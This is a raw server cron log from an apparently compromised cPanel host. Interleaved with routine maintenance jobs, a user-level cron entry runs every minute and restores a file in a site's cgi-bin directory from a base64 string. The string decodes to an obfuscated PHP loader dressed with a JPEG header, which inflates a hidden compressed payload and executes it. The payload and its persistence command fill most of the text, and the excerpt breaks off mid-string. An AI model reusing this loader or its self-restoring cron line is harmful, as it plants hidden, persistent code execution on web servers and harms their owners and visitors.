Sep 12 11:54:01 server CROND[2758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:55:01 server CROND[3148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:55:01 server CROND[3149]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:55:01 server CROND[3157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:55:01 server CROND[3158]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:55:01 server CROND[3159]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:55:01 server CROND[3160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:55:01 server CROND[3163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:56:01 server CROND[3982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:56:01 server CROND[3983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:56:01 server CROND[3984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:57:01 server CROND[4373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:57:01 server CROND[4374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:57:01 server CROND[4375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:57:01 server CROND[4376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:58:01 server CROND[4846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:58:01 server CROND[4848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:58:01 server CROND[4847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:59:01 server CROND[5243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:59:01 server CROND[5244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:59:01 server CROND[5245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:00:01 server CROND[5642]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 12 12:00:01 server CROND[5648]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:00:01 server CROND[5651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:00:01 server CROND[5647]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 12:00:01 server CROND[5652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:00:01 server CROND[5653]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 12:00:01 server CROND[5649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:00:01 server CROND[5644]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:00:01 server CROND[5645]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:00:01 server CROND[5646]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:00:01 server CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:01:01 server CROND[6510]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 12:01:01 server CROND[6511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:01:01 server CROND[6512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:01:01 server CROND[6513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:01:01 server run-parts(/etc/cron.hourly)[6510]: starting 0anacron
Sep 12 12:01:01 server run-parts(/etc/cron.hourly)[6531]: finished 0anacron
Sep 12 12:02:01 server CROND[6931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:02:01 server CROND[6932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:02:01 server CROND[6933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:03:01 server CROND[7417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:03:01 server CROND[7418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:03:01 server CROND[7419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:04:01 server CROND[7802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:04:01 server CROND[7803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:04:01 server CROND[7801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:05:01 server CROND[8199]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:05:01 server CROND[8205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:05:01 server CROND[8215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:05:01 server CROND[8220]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:05:01 server CROND[8216]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:05:01 server CROND[8219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYK